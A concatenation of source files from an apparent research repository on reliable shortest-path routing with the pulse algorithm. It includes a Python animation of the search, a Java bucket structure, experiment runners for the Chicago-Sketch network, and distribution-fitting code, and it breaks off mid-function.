#self.pulse(i,cc,ntRV,ntmin,PP)
self.anim.append([PP+[i],cc,round(probi,2),self.Fpath,self.Primal_Bound,self.Resource])
self.pulse_anim(i,cc,ntRV,ntmin,PP)
def onClick(self,event):
global pause
pause ^= True
if pause:
ani.event_source.stop()
elif not pause:
ani.event_source.start()
def update(self,num):
edge_labels= {e:(self.G.edges[e]['Cost']) for e in self.G.edges}
ax.clear()
axCurrent_p.clear()
axPrimal_B.clear()
axCurrent_p.set_facecolor('white')
axPrimal_B.set_facecolor('white')
fontsize=15
prune=False
primB=False
opt=False
#ax.text(-1.2, 1,'Stop/Start \n button',fontsize=fontsize-5,fontweight="bold",color='white',bbox={'facecolor': 'green', 'alpha': 1, 'pad': 5})
if not isinstance(self.anim[num][0], str):
path = self.anim[num][0]
c=self.anim[num][1]
t=self.anim[num][2]
FP=self.anim[num][3]
PB=self.anim[num][4]
RC=self.anim[num][5]
elif self.anim[num][0]=="Primal_Bound":
y=1.8
x=.05
primB=True
axPrimal_B.set_xticks([])
axPrimal_B.set_yticks([])
axPrimal_B.set_title("Best Bound information",fontweight="bold")
axPrimal_B.text(x, y+.1, 'New integer solution found!',fontsize=fontsize-2,fontweight="bold")
path=self.anim[num][1]
c=self.anim[num][2]
t=self.anim[num][3]
FP=self.anim[num][4]
PB=self.anim[num][5]
RC=self.anim[num][6]
cp=""
for i in FP:
cp+=str(i)+"-"
axPrimal_B.text(x, y-.3, cp[:-1],fontsize=fontsize)
axPrimal_B.text(x, y-.7, "Primal Bound:",fontsize=fontsize)
axPrimal_B.text(x, y-1, str(PB),fontsize=fontsize)
axPrimal_B.text(x, y-1.4, "Probability:",fontsize=fontsize)
axPrimal_B.text(x, y-1.7, str(round(t,4)),fontsize=fontsize)
elif self.anim[num][0]=="Opt":
y=1.8
x=.05
opt=True
axPrimal_B.set_xticks([])
axPrimal_B.set_yticks([])
axPrimal_B.set_title("Best Bound information",fontweight="bold")
axPrimal_B.text(x, y+.1, 'Optimal solution found!',fontsize=fontsize-2,fontweight="bold")
path=self.anim[num][1]
PB=self.anim[num][2]
RC=self.anim[num][3]
cp=""
for i in path:
cp+=str(i)+"-"
axPrimal_B.text(x, y-.3, cp[:-1],fontsize=fontsize)
axPrimal_B.text(x, y-.7, "Primal Bound:",fontsize=fontsize)
axPrimal_B.text(x, y-1, str(PB),fontsize=fontsize)
axPrimal_B.text(x, y-1.4, "Probability:",fontsize=fontsize)
axPrimal_B.text(x, y-1.7, str(round(RC,2)),fontsize=fontsize)
else:
y=1.8
x=.05
if self.anim[num][0]=="Dom":
prune=True
axCurrent_p.text(x, y, r'Pulse is discarted by dominance:' ,fontsize=fontsize-3)
axCurrent_p.text(x+0.1, y-.4, r'$c(\mathcal{P}´)$ $P[t(\mathcal{P}´)>T]$' ,fontsize=fontsize-1)
path=self.anim[num][1]
c=self.anim[num][2]
t=self.anim[num][3]
FP=self.anim[num][4]
PB=self.anim[num][5]
RC=self.anim[num][6]
axCurrent_p.text(x+0.22, y-.7, str(c)+' '+str(t) ,fontsize=fontsize-1)
tit="Labels at node "+str(path[-1])
cost=""
tiemp=""
for (i,j) in self.G.nodes[path[-1]]["labels"]:
cost+=str(int(i))+" "
tiemp+=str(round(j,2))+" "
axCurrent_p.text(x+0.1, y-1.7,tit+'\n\n'+'Cost: '+cost+'\n'+'Resource: '+tiemp,fontsize=fontsize-5,bbox={'facecolor': 'white', 'alpha': 1, 'pad': 5})
elif self.anim[num][0]=="Feas":
prune=True
path=self.anim[num][1]
c=self.anim[num][2]
t=self.anim[num][3]
FP=self.anim[num][4]
PB=self.anim[num][5]
RC=self.anim[num][6]
prune=True
axCurrent_p.text(x, y, 'Pulse is discarted by Feasibility',fontsize=fontsize-3,color='black'),
axCurrent_p.text(x+0.2, y-1,r'$P[t (\mathcal{P}´)<T] <\alpha $',fontsize=fontsize+2,bbox={'facecolor': 'white', 'alpha': 1, 'pad': 5})
axCurrent_p.text(x+0.3, y-1.4,str(t) +'<'+ str(self.alpha) ,fontsize=fontsize+2,bbox={'facecolor': 'white', 'alpha': 1, 'pad': 5})
elif self.anim[num][0]=="Bound":
axCurrent_p.text(x, y, 'Pulse is discarted by Bound',fontsize=fontsize-3,color='black')
path=self.anim[num][1]
c=self.anim[num][2]
t=self.anim[num][3]
FP=self.anim[num][4]
PB=self.anim[num][5]
RC=self.anim[num][6]
axCurrent_p.text(x+0.2, y-.8,r'$c(\mathcal{P}´) \plus c \underbar (v_k) \geq \bar{c}$',fontsize=fontsize+2,bbox={'facecolor': 'white', 'alpha': 1, 'pad': 5})
axCurrent_p.text(x+0.3, y-1.2,str(c)+"+"+str(self.G.nodes[path[-1]]["s_cost"])+r'$\geq$'+str(PB) ,fontsize=fontsize+2,bbox={'facecolor': 'white', 'alpha': 1, 'pad': 5})
prune=True
elif self.anim[num][0]=="Loop":
axCurrent_p.text(x, y-.8, 'Pulse is discarted by loop',fontsize=fontsize,color='black')
path=self.anim[num][1]
c=self.anim[num][2]
t=self.anim[num][3]
FP=self.anim[num][4]
PB=self.anim[num][5]
RC=self.anim[num][6]
prune=True
# Background nodes
BGnodes=set(self.G.nodes()) - set(path)
nx.draw_networkx_edges(self.G, pos=self.pos, ax=ax, edge_color="royalblue")
null_nodes = nx.draw_networkx_nodes(self.G, pos=self.pos, nodelist=BGnodes, node_color="white", ax=ax)
null_nodes.set_edgecolor("orange")
nx.draw_networkx_labels(self.G, pos=self.pos, labels=dict(zip(BGnodes,BGnodes)), font_color="black", ax=ax)
try:
query_nodes = nx.draw_networkx_nodes(self.G, pos=self.pos, nodelist=path, node_color="red", ax=ax)
query_nodes.set_edgecolor("red")
except:
pass
nx.draw_networkx_labels(self.G, pos=self.pos, labels=dict(zip(path,path)), font_color="black", ax=ax)
edgelist = [path[k:k+2] for k in range(len(path) - 1)]
nx.draw_networkx_edges(self.G, pos=self.pos, edgelist=edgelist, width=4,edge_color="red", ax=ax)
#Edge labels
nx.draw_networkx_edge_labels(self.G, self.pos, edge_labels = edge_labels ,ax=ax)
# Scale plot ax
ax.set_title("Graph", fontweight="bold")
ax.set_xticks([])
ax.set_yticks([])
#Current path info}
axCurrent_p.set_xticks([])
axCurrent_p.set_yticks([])
axCurrent_p.set_title("Current path information ",fontweight="bold")
if prune and not opt:
if opt:
print("entre aca 1")
axCurrent_p.set_facecolor('red')
elif not prune and not opt:
if opt:
print("entre aca 2")
axCurrent_p.set_facecolor('white')
axCurrent_p.text(.05, 1.9-0.1, 'Current Path ' + r'$( \mathcal{P} )$:',fontsize=fontsize)
cp=""
for i in path:
cp+=str(i)+"-"
axCurrent_p.text(0.05, 1.6-0.1, cp[:-1],fontsize=fontsize)
axCurrent_p.text(0.05, 1.2-0.1, "Current Cost:",fontsize=fontsize)
axCurrent_p.text(0.05, .9-0.1, str(c),fontsize=fontsize)
axCurrent_p.text(.05, .5-0.1, "Probability:",fontsize=fontsize)
axCurrent_p.text(.05, .2-0.1, str(t),fontsize=fontsize)
#########################################################################################################################
#Primal bound info
if primB and not opt:
axPrimal_B.set_facecolor('lime')
elif not primB and not opt:
axPrimal_B.set_xticks([])
axPrimal_B.set_yticks([])
axPrimal_B.set_title("Best Bound information",fontweight="bold")
axPrimal_B.text(.05, 1.9-0.1, 'Best Path ' + r'$( \mathcal{P}* )$:',fontsize=fontsize)
cp=""
for i in FP:
cp+=str(i)+"-"
axPrimal_B.text(0.05, 1.6-0.1, cp[:-1],fontsize=fontsize)
axPrimal_B.text(0.05, 1.2-0.1, "Primal Bound:",fontsize=fontsize)
axPrimal_B.text(0.05, .9-0.1, str(PB),fontsize=fontsize)
axPrimal_B.text(.05, .5-0.1, "Probability:",fontsize=fontsize)
axPrimal_B.text(.05, .2-0.1, str(round(RC,2)),fontsize=fontsize)
global pause
if prune:
ax.text(1.6,-.30,"Press here to continue",color="white",fontweight="bold",bbox={'facecolor': 'green', 'alpha': 1, 'pad': 5})
if sp:
pause^=True
ani.event_source.stop()
if primB:
ax.text(1.6,-.30,"Press here to continue",color="white",fontweight="bold",bbox={'facecolor': 'green', 'alpha': 1, 'pad': 5})
if sp:
pause^=True
ani.event_source.stop()
if opt:
axPrimal_B.set_facecolor('lime')
plt.pause(10)
return fig
def animation(self,speed,stop_prune=False,pos=[]):
if pos==[]:
pos = nx.random_layout(self.G)
c=0
tRV=PH(matrix(np.array([[]])),matrix(np.array([[]])))
global sp,pause
sp=stop_prune
pause=False
self.Primal_Bound=float("inf")
self.Resource=0
self.Fpath=[]
P=[]
pause = False
self.anim=[]
self.preprocess()
tmin=0
self.pulse_anim(self.source,c,tRV,tmin,P)
self.anim.append(["Opt",self.Fpath,self.Primal_Bound,self.Resource])
# Build plot
global fig, ax,axCurrent_p,axPrimal_B,ani
fig= plt.figure(figsize=(12*1.5,6))
fig.canvas.mpl_connect('button_press_event', self.onClick)
grid = plt.GridSpec(4, 4, hspace=0.2, wspace=0.2)
ax = fig.add_subplot(grid[:, :3])
axCurrent_p = fig.add_subplot(grid[:2, 3], xticklabels=[],yticklabels=[], sharey=ax)
axPrimal_B = fig.add_subplot(grid[2:, 3], xticklabels=[],yticklabels=[], sharey=ax)
edge_labels= {e:(self.G.edges[e]['Cost']) for e in self.G.edges}
ani = matplotlib.animation.FuncAnimation(fig, self.update, frames=len(self.anim), interval=speed, repeat=True,blit=False)
return(ani)
def draw_path(self, path,color="yellow",edge_color="black",arc_color="gray",Lab=False):
edgelist = list(zip(path,path[1:]))
edge_labels={e:(self.G.edges[e]["Cost"]) for e in self.G.edges if e in edgelist}
pos={i:(path.index(i),1) for i in path}
#fig= plt.figure(figsize=(12,6))
query_nodes=nx.draw_networkx_nodes(self.G,pos=pos,nodelist=path,node_color=color,node_size=1000)
query_nodes.set_edgecolor(edge_color)
if Lab:
nx.draw_networkx_labels(self.G,pos=pos,labels=dict(zip(path,path)),font_color="black")
nx.draw_networkx_edge_labels(self.G, pos=pos,edgelist=edgelist, edge_labels = edge_labels )
#edgelist = [path[k:k+2] for k in range(len(path) - 1)]
nx.draw_networkx_edges(self.G, pos=pos, edgelist=edgelist, width=4,edge_color=arc_color)
#Edge labels
plt.axis('off')
plt.figure(num=None, figsize=(6, 3), dpi=80*3, facecolor='w', edgecolor='k')
#plt.show()
<file_sep>/**
* Data structure for a bucket. Used for the SP implementation
*
* Ref.: <NAME>. and <NAME>. (2013).
* On an exact method for the constrained shortest path problem. Computers & Operations Research. 40 (1):378-384.
* DOI: http://dx.doi.org/10.1016/j.cor.2012.07.008
*
*
* @author <NAME>
* @affiliation Universidad de los Andes - Centro para la Optimizaci�n y Probabilidad Aplicada (COPA)
* @url http://copa.uniandes.edu.co/
*
*/
package Pulse;
public class Bucket {
private VertexPulse entrance;
private int key;
/**
* Create an instance of a bucket. If a bucket
* is opened, a new vertex is being added
* @param v
*/
public Bucket(VertexPulse v, int nKey){
entrance = v;
key = nKey;
}
public Bucket(int nKey){
key = nKey;
}
/**
* Insert a vertex in the bucket.
* @param v Vertex being inserted
*/
public void insertVertexDist(VertexPulse v){
if(entrance!=null){
entrance.insertVertexDist(v);
}else{
entrance = v;
}
}
public void insertVertexTime(VertexPulse v){
if(entrance!=null){
entrance.insertVertexTime(v);
}else{
entrance = v;
}
}
public void insertVertexExpTime(VertexPulse v){
if(entrance!=null){
entrance.insertVertexExpTime(v);
}else{
entrance = v;
}
}
/**
*
* @param v
* @return
*/
public boolean deleteLabeledVertexDist(){
//Delete entrance / FIFO policy
entrance = entrance.getBRigthDist();
boolean emp = entrance.getBLeftDist().unLinkVertexDist();
if(emp){
entrance = null;
return true;
}
return false;
}
public boolean deleteLabeledVertexTime(){
//Delete entrance / FIFO policy
entrance = entrance.getBRigthTime();
boolean emp = entrance.getBLeftTime().unLinkVertexTime();
if(emp){
entrance = null;
return true;
}
return false;
}
public boolean deleteLabeledVertexExpTime(){
//Delete entrance / FIFO policy
entrance = entrance.getBRigthExpTime();
boolean emp = entrance.getBLeftExpTime().unLinkVertexExpTime();
if(emp){
entrance = null;
return true;
}
return false;
}
public boolean deleteToMoveDist(VertexPulse v){
if(entrance.getID() == v.getID()){
entrance = entrance.getBRigthDist();
}
if(v.unLinkVertexDist()){
entrance = null;
return true;
}
return false;
}
public boolean deleteToMoveTime(VertexPulse v){
if(entrance.getID() == v.getID()){
entrance = entrance.getBRigthTime();
}
if(v.unLinkVertexTime()){
entrance = null;
return true;
}
return false;
}
public boolean deleteToMoveExpTime(VertexPulse v){
if(entrance.getID() == v.getID()){
entrance = entrance.getBRigthExpTime();
}
if(v.unLinkVertexExpTime()){
entrance = null;
return true;
}
return false;
}
public int getKey(){
return key;
}
public void setKey(int nKey){
key = nKey;
}
public VertexPulse getEntrance(){
return entrance;
}
public boolean empty() {
if(entrance!=null){
return false;
}
return true;
}
}
<file_sep>import os
global city,timeLimit
def createFolder(name):
if os.name=='posix':
os.popen(f'[ -d {name} ] || mkdir {name}')
else:
name=name.replace('/','\\')
os.popen(f'md {name}')
def runExperiment():
'''
Clas the java pulse for the config file located at f'../../data/Networks/{city}'
Args:
city(String): folder name with the data
Return:
None: prints out a file with the results:
source+"\t"+target+"\t"+ running time (s)+"\t"+PrimalBound+"\t"+Free flow time+"\t"+ reliability+"\t"+Bound+"\t"+Infeasibility+"\t"+Dominance+"\t"+finalPath
'''
folder=os.path.abspath(f'../../data/Networks/{city}')
d=os.popen(f'java -Xmx1024m -jar PH_Pulse_SaRP.jar {folder} {city}')
d=d.read().replace('\n','').replace('pk menor que Double.MIN_VALUE','')#.split('\t')
return d
def runInstancesScenarios(nPhases,nScen,alpha,clearF=True):
'''
Runs all the insances for the given city
Args:
city(String): folder name with the data
Return:
None: prints out a file with the results:
source+"\t"+target+"\t"+ running time (s)+"\t"+PrimalBound+"\t"+Free flow time+"\t"+ reliability+"\t"+Bound+"\t"+Infeasibility+"\t"+Dominance+"\t"+finalPath
'''
#if clearF: clearResultFiles()
folder=os.path.abspath(f'../../data/Networks/{city}')
inst=open(f'{folder}/Scenarios/Instances/i.txt')
results=f'../../results/{city}/Scenarios/PHFit{nPhases}_{tightness}'
createFolder(name=results)
scen=list(range(1,nScen+1))#+['Total']
nn=0
wb='a'
for l in inst:
if l[0]!='#':
i=l.replace('\n','').split('\t')
s,t,tL,tU=int(i[0]),int(i[1]),float(i[2]),float(i[3])
T=tL+(tU-tL)*(1-tightness)
print(f'{s}\t{t}\t{T}\t{tL}\t{tU}')
for k in scen:
print(f"Scenario {k}\n")
config=open(f'{folder}/{city}_config.txt','w')
text=f'PHFitFile:Scenarios/data/PHFit{nPhases}_scen{k}.txt\nDataFile:Scenarios/data/scen{k}.txt\nNumber of Arcs:2950\nNumber of Nodes:933\nTime Constraint:{T}\nStart Node:{s}\nEnd Node:{t}\nNumber of Phases:{nPhases}\nalpha:{alpha}\nTime Limit:{timeLimit}\nrefit:{refit}'
config.write(text)
config.close()
d=runExperiment()
resultFile=open(f'{results}/scen{k}.txt',wb)
resultFile.write(d+'\n')
print(d)
resultFile.close()
nn+=1
if nn>=1000:
break
wb='a'
def clearResultFiles():
'''
clears all result files from city path
'''
folder=os.path.abspath(f'../../data/Networks/{city}/Results/Scenarios/*.txt')
f=open(folder[:-5]+'n.txt','w')
f.write('i')
f.close()
if os.name=='posix':
os.popen(f'rm {folder}')
else:
os.popen(f'del {folder}')
if __name__ == '__main__':
########################################################
'''
Run scenario instances.
Setting of some global parameters
'''
city='Chicago-Sketch'
timeLimit=1000
tightness=0.4
refit=1000
alpha=0.8
########################################################
#runInstancesScenarios(nPhases=10,nScen=5,alpha=0.8)
#runInstancesScenarios(nPhases=5,nScen=5,alpha=0.8)
for i in [0.2,0.4]:
tightness=i
runInstancesScenarios(nPhases=3,nScen=5,alpha=alpha)
<file_sep>import os,time,random,sys
import numpy as np
import scipy.stats as st
import networkx as nx
sys.path.append(os.path.abspath('../../SaRP_Pulse_Python/src/'))
from pulse import *
import s_pulse_MC as MC
global city,timeLimit,CV,PG,SPG, alpha,n_it,refit
def creates_graphs():
folder=os.path.abspath(f'../../data/Networks/{city}')
DG=nx.DiGraph()
#os.chdir(r'Networks/'+city)
##########################
#Creates deterministic graph
file1 = open(f'{folder}/{city}_net.txt','r')
for x in file1:
x=x[:-1].split('\t')
#print(x)
if x[0]!='Tail':
x=list(map(float,x))
DG.add_edge(int(x[0]),int(x[1]),Cost=x[2],Time=x[3],tmin=x[4])
file1.close()
##########################
#Creates graph with distrs
SG=DG.copy()
file1 = open(f'{folder}/Independent/CV{CV}/DistrFit_cv{CV}.txt','r')
for x in file1:
x=x[:-1].split('\t')
#print(x)
if x[0]!='Tail':
#print(x)
params=tuple(map(float,x[-1][1:-1].split(', ')))
#print(params)
i,j=int(float(x[0])),int(float(x[1]))
SG[i][j]["distr"]=x[2]
SG[i][j]["params"]=params
file1.close()
global PG,SPG
PG=pulse_graph(G=DG,T_max=0,source=0, target=0,tightness=0)
SPG=MC.s_pulse_graph(SG,T_max=0,alpha=alpha,source=0,target=0,n_it=n_it,tightness=0)
#return DG,SG
def solveCSP(s,t,T):
'''
Solves deterministic pulse for given instance
Args:
arg1(type):description.
Return:
Return(type):description.
'''
PG.source,PG.target,PG.T_max=s,t,T
t_pulse=time.time()
pulse_path,pulse_cost,pulse_sol_time=PG.run_pulse()
t_pulse=time.time()-t_pulse
prob=evalPath(path=pulse_path,nSim=n_it*10,pTMax=T)
return t_pulse,pulse_cost,pulse_sol_time,prob,PG.bound, PG.infeas,PG.dom,pulse_path
def solveSaRPMC(s,t,T):
'''
Solves SaRP with montecarlo pulse for given instance
Args:
arg1(type):description.
Return:
Return(type):description.
'''
SPG.source,SPG.target,SPG.T_max=s,t,T
t_pulse=time.time()
pulse_path,pulse_cost,pulse_prob=SPG.run_pulse(t_limit=1000)
t_pulse=time.time()-t_pulse
probPost=evalPath(path=pulse_path,nSim=n_it*10,pTMax=T)
path=list(zip(pulse_path[:-1],pulse_path[1:]))
Exp_time=sum(SPG.G[i][j]["Time"] for i,j in path)
return t_pulse,pulse_cost,Exp_time,pulse_prob,probPost,PG.bound, PG.infeas,PG.dom,pulse_path
def createData(mu,fft,n):
'''
Given the expected value, and a CV, a dataset with n realizations of a lognormal variable with Expected value mu and with variance s=CV*mu
Args:
mu (float): Expected value
fft (float): Free flow time
n (int): size of the dataset
Returns
data [list]:
'''
sigma=CV*(mu-fft)
phi=math.sqrt(sigma**2+ mu**2)
muN=math.log(mu**2/phi)
sigmaN=math.sqrt(math.log(phi**2/(mu**2)))
data = np.random.lognormal(muN,sigmaN, n)
data=list(map(lambda x:max(0.0,x),data-fft))
# print('Mean:\t',np.mean(data),mu-fft)
# print('Stdev:\t',np.std(data),sigma)
return np.array(data)
def evalPath(path,nSim,pTMax):
'''
Evaluates a given path with the real (assumed) distributions.
Args:
path(list):Path to evaluate
nSim(int):Number of replications for montecarlo
pTMax(float):Time budget to evaluate
Return:
prob(float):reliability of the path
'''
pat=list(zip(path[:-1],path[1:]))
data=np.array([0.0 for i in range(nSim)])
tmin=0
for i,j in pat:
data+=createData(mu=SPG.G[i][j]["Time"],fft=SPG.G[i][j]["tmin"],n=nSim)
tmin+=math.floor( SPG.G[i][j]["tmin"])
ind=list(map(lambda x: x<=pTMax-tmin,data))
prob= sum(ind)/nSim
if len(pat)==0:
prob=0
return prob
def createFolder(name):
if os.name=='posix':
os.popen(f'[ -d {name} ] || mkdir {name}')
else:
name=name.replace('/','\\')
os.popen(f'md {name}')
def runExperiment():
'''
Clas the java pulse for the config file located at f'../../data/Networks/{city}'
Args:
city(String): folder name with the data
Return:
None: prints out a file with the results:
source+"\t"+target+"\t"+ running time (s)+"\t"+PrimalBound+"\t"+Free flow time+"\t"+ reliability+"\t"+Bound+"\t"+Infeasibility+"\t"+Dominance+"\t"+finalPath
'''
folder=os.path.abspath(f'../../data/Networks/{city}')
d=os.popen(f'java -Xmx2048m -jar PH_Pulse_SaRP.jar {folder} {city}')
d=d.read().replace('\n','').replace('pk menor que Double.MIN_VALUE','')#.split('\t')
return d
def runInstancesIndependent(nPhases,clearF=True):
'''
Runs all the insances for the given city
Args:
city(String): folder name with the data
Return:
None: prints out a file with the results:
source+"\t"+target+"\t"+ running time (s)+"\t"+PrimalBound+"\t"+Free flow time+"\t"+ reliability(ex-ante)+"\t""+ reliability(ex-post)+"\t"+Bound+"\t"+Infeasibility+"\t"+Dominance+"\t"+finalPath
'''
#if clearF: clearResultFiles()
folder=os.path.abspath(f'../../data/Networks/{city}')
inst=open(f'{folder}/Independent/Instances/i.txt')
#inst=open(f'{folder}/{city}_instances_{tightness}.txt','r')
results=f'../../results/{city}/Independent/alpha{alpha}_CV{CV}_tight{tightness}'
createFolder(name=results)
nn=0
wb='w'
for l in inst:
if l[0]!='#':
i=l.replace('\n','').split('\t')
print(i)
#Solve SaRP with ph
s,t,tL,tU=int(i[0]),int(i[1]),float(i[2]),float(i[3])
T=tL+(tU-tL)*(1-tightness)
for np in nPhases:
config=open(f'{folder}/{city}_config.txt','w')
text=f'PHFitFile:Independent/CV{CV}/PHFit{np}_cv{CV}.txt\nDataFile:Independent/CV{CV}/data_cv{CV}.txt\nNumber of Arcs:2950\nNumber of Nodes:933\nTime Constraint:{T}\nStart Node:{s}\nEnd Node:{t}\nNumber of Phases:{np}\nalpha:{alpha}\nTime Limit:{timeLimit}\nrefit:{refit}'
config.write(text)
config.close()
d=runExperiment()
#Evals path
info=d.split('\t')
if info[-1]!='[]':
path=list(map(lambda x: int(x)+1 ,info[-1].replace('[','').replace(']','').split(', ')))
probPost=evalPath(path,nSim=n_it*10,pTMax=T)
else:
probPost=0
t_pulse,pulse_cost,pulse_sol_time,probAnte,bound, infeas,dom,pulse_path=info[2:]
d=f'{s}\t{t}\t{t_pulse}\t{pulse_cost}\t{pulse_sol_time}\t{probAnte}\t{probPost}\t{bound}\t{infeas}\t{dom}\t{pulse_path}\n'
resultFile=open(f'{results}/PHFit{np}.txt',wb)
resultFile.write(d)
print(f'PH{np}\t{d}')
resultFile.close()
s,t,T=int(i[0]),int(i[1]),float(i[2])
#Solve CSP
t_pulse,pulse_cost,pulse_sol_time,prob,bound, infeas,dom,pulse_path=solveCSP(s,t,T)
d=f'{s}\t{t}\t{t_pulse}\t{pulse_cost}\t{pulse_sol_time}\t{prob}\t{prob}\t{bound}\t{infeas}\t{dom}\t{pulse_path}\n'
resultFile=open(f'{results}/CSP.txt',wb)
print(f'Pulse\t{d}')
resultFile.write(d)
#Solve SaRP with MC
t_pulse,pulse_cost,pulse_sol_time,probAnte,probPost,bound, infeas,dom,pulse_path=solveSaRPMC(s,t,T)
d=f'{s}\t{t}\t{t_pulse}\t{pulse_cost}\t{pulse_sol_time}\t{probAnte}\t{probPost}\t{bound}\t{infeas}\t{dom}\t{pulse_path}\n'
resultFile=open(f'{results}/MC_Pulse.txt',wb)
print(f'PulseMC\t{d}')
resultFile.write(d)
wb='a'
nn+=1
if nn>=1000:
break
def clearResultFiles():
'''
clears all result files from city path
'''
folder=os.path.abspath(f'../../data/Networks/{city}/Results/Independent/*.txt')
f=open(folder[:-5]+'n.txt','w')
f.write('i')
f.close()
if os.name=='posix':
os.popen(f'rm {folder}')
else:
os.popen(f'del {folder}')
if __name__ == '__main__':
########################################################
'''
Run scenario instances.
Setting of some global parameters
'''
city='Chicago-Sketch'
timeLimit=5000
tightness=0.8
CV=0.8
alpha=0.8
n_it=500 #Number of realizations for Montecarlo
refit=1000
creates_graphs()
########################################################
runInstancesIndependent(nPhases=[3,5])
<file_sep>#http://www.bgu.ac.il/~bargera/tntp/
import sys
from os import path
sys.path.append(path.abspath(r'C:\Users\d.corredor\OneDrive - Universidad de los andes\Thesis\2. Methodology\2.2 S-Pulse Algorithm\S-PULSE implementation\Code_S-pulse'))
#sys.path.insert(1, r'C:\Users\<NAME> M\OneDrive - Universidad de Los Andes\Thesis\2. Methodology\2.2 S-Pulse Algorithm\S-PULSE implementation\Code_S-pulse')
#sys.path.insert(1, r'/Users/davidcorredor/OneDrive - Universidad de los Andes/Thesis/2. Methodology/2.2 S-Pulse Algorithm/S-PULSE implementation/Code_S-pulse')
from PhaseType import *
from Fitter import *
import networkx as nx
import os
import matplotlib.pyplot as plt
import math
import numpy as np
import s_pulse_MC as MC
import s_pulse as PH_pulse
from PhaseType import *
from Fitter import *
from pulse import *
import scipy.stats as st
import networkx as nx
import time
import numpy as np
from mpmath import *
import random
##############################################################################
#Creates the basic net and writes a .txt (city_net.txt)
#Tail Head Cost E[Time] Fft Sigma(Time)
#(i,j)->(Capacity=cap, Lenght=leng, FreeflowTime=fftt, B=B,Power=pow, Toll=toll,Flow*=flow, Cost=Cost, E[Time]=Time,Sigma(Time)=SD)
def create_net(city,write=False):
os.chdir(r'TransportationNetworks-master/'+city)
G=nx.DiGraph()
toll_factor=100
distance_factor=1.69*100
#Fills the position of the nodes from the file ended by node.tntp
nodes= [i for i in os.listdir() if "node" in i][0]
f=open(nodes)
pos={}
for x in f:
x=x.split("\t")
if x[0]!='node':
#print(x)
x=list(map(float,x))
G.add_node(int(x[0]))
pos[x[0]]=(x[1],x[2])
f.close()
net= [i for i in os.listdir() if "net" in i][0]
f=open(net)
for x in f:
x=x[1:-3].split("\t")
#print(x)
t=True
try:
type(int(x[0]))
except Exception as e:
t=False
if t:
G.add_edge(int(x[0]),int(x[1]),cap=int(float(x[2])),leng=float(x[3]),fftt=float(x[4])*60,B=float(x[5]),pow=float(x[6]),toll=float(x[8]))
G[int(x[0])][int(x[1])]["Cost"]=int(toll_factor*G[int(x[0])][int(x[1])]["toll"]+distance_factor*G[int(x[0])][int(x[1])]["leng"])
if G[int(x[0])][int(x[1])]["B"]==0:
G[int(x[0])][int(x[1])]["B"]=0.15
f.close()
#If there is information of the flow in the net uses that information to estimate the expected value of the time of each arc, if not creates a random instance of the time.
try:
flow= [i for i in os.listdir() if "flow" in i][0]
f=open(flow)
for x in f:
x=x.split('\t')
t=True
try:
type(int(x[0]))
except Exception as e:
t=False
if t:
G[int(x[0])][int(x[1])]["flow"]=int(float(x[2][:-1]))
f.close()
edg=list(G.edges()).copy()
for i,j in edg:
if G[i][j]["fftt"]==0:
G[i][j]["fftt"]=60*(60*G[i][j]["leng"]/50)#(mph))
#Link travel time = free flow time * ( 1 + B * (flow/capacity)^Power ).**2
G[i][j]["Time"]=G[i][j]["fftt"]*(1+G[i][j]["B"]*(G[i][j]["flow"]/G[i][j]["cap"])**G[i][j]["pow"])+5
G[i][j]["SD"]=max(1/5*(G[i][j]["Time"]-G[i][j]["fftt"])*(G[i][j]["flow"]/G[i][j]["cap"]),5)
#G[i][j]["Cost"]=int(100*G[i][j]["Cost"]*(G[i][j]["fftt"]/(G[i][j]["time"]**2)) )
except Exception as e:
edg=list(G.edges()).copy()
for i,j in edg:
if G[i][j]["fftt"]==0:
G[i][j]["fftt"]=60*(60*G[i][j]["leng"]/50)#(mph))
#Link travel time = free flow time * ( 1 + B * (flow/capacity)^Power ).**2
rand_FC_ratio=random.random()*0.5+0.5
G[i][j]["Time"]=G[i][j]["fftt"]*(1+G[i][j]["B"]*(rand_FC_ratio)**G[i][j]["pow"])
G[i][j]["SD"]=max(1/2*(G[i][j]["Time"]-G[i][j]["fftt"])*(rand_FC_ratio),5)
#G[i][j]["Cost"]=int(100*G[i][j]["Cost"]*(G[i][j]["fftt"]/(G[i][j]["time"]**2)) )
#raise e
#nx.draw(G,pos,node_size=1,node_color="black",arrows=False,width=0.1)
#plt.show()
#Takes me back to the original directory
if write:
os.chdir('..')
os.chdir('..')
os.chdir(r'Networks/'+city)
#Writes tis graph in a txt in the eachs net folder
file1 = open(city+'_net'+'.txt',"w")
file1.write('Tail\tHead\tCost\tE[Time]\tFft\tSigma(Time)\n')
for i,j in G.edges():
text=str(int(i))+"\t"+str(int(j))+"\t"+str(int(G[i][j]["Cost"]))+"\t"+str(int(G[i][j]["Time"]))+"\t"+str(G[i][j]["fftt"])+"\t"+str(int(G[i][j]["SD"]))+'\n'
file1.write(text)
file1.close()
file1 = open(city+'_pos'+'.txt',"w")
file1.write('Node\tX\tY\n')
for i,(x,y) in pos.items():
text=str(int(i))+"\t"+ str(x)+"\t"+str(y)+"\t"+'\n'
print(text)
file1.write(text)
file1.close()
os.chdir('..')
os.chdir('..')
return G, pos
def plot_net(city):
G,pos=create_net(city)
nx.draw_networkx_edges(G, pos=pos ,arrows=True)#,width=0.5
nodes=nx.draw_networkx_nodes(G, pos=pos ,node_color='white')#,node_size=0)
nodes.set_edgecolor('black')
nx.draw_networkx_labels(G,pos=pos,font_size =8)#,font_color='white'
plt.show()
##############################################################################
#Simulates times for each arc and fits distributions to each arc.
def fit_to_all_distributions(data,dist_names):
params = {}
for dist_name in dist_names:
try:
dist = getattr(st, dist_name)
param = dist.fit(data)
params[dist_name] = param
except Exception as e:
print("Error occurred in fitting ",dist_name )
params[dist_name] = "Error"
return params
def get_best_distribution_using_chisquared_test(data,params,dist_names):
histo, bin_edges = np.histogram(data, bins='auto', normed=False)
number_of_bins = len(bin_edges) - 1
observed_values = histo
dist_results = []
for dist_name in dist_names:
param = params[dist_name]
if (param != "Error"):
# Applying the SSE test
arg = param[:-2]
loc = param[-2]
scale = param[-1]
#print(getattr(st, dist_name))
cdf = getattr(st, dist_name).cdf(bin_edges, loc=loc, scale=scale, *arg)
expected_values = len(data) * np.diff(cdf)
Chi=sum((observed_values[i]-expected_values[i])**2/expected_values[i] for i in range(number_of_bins))
p_val=1-st.chi2.cdf(Chi, number_of_bins-len(param))
'''
plt.bar(range(number_of_bins),expected_values)
plt.bar(range(number_of_bins),observed_values)
plt.title(dist_name)
plt.legend(["Expected","Observed"])
print("mi chi: ",Chi)
print("su chi: ",c)
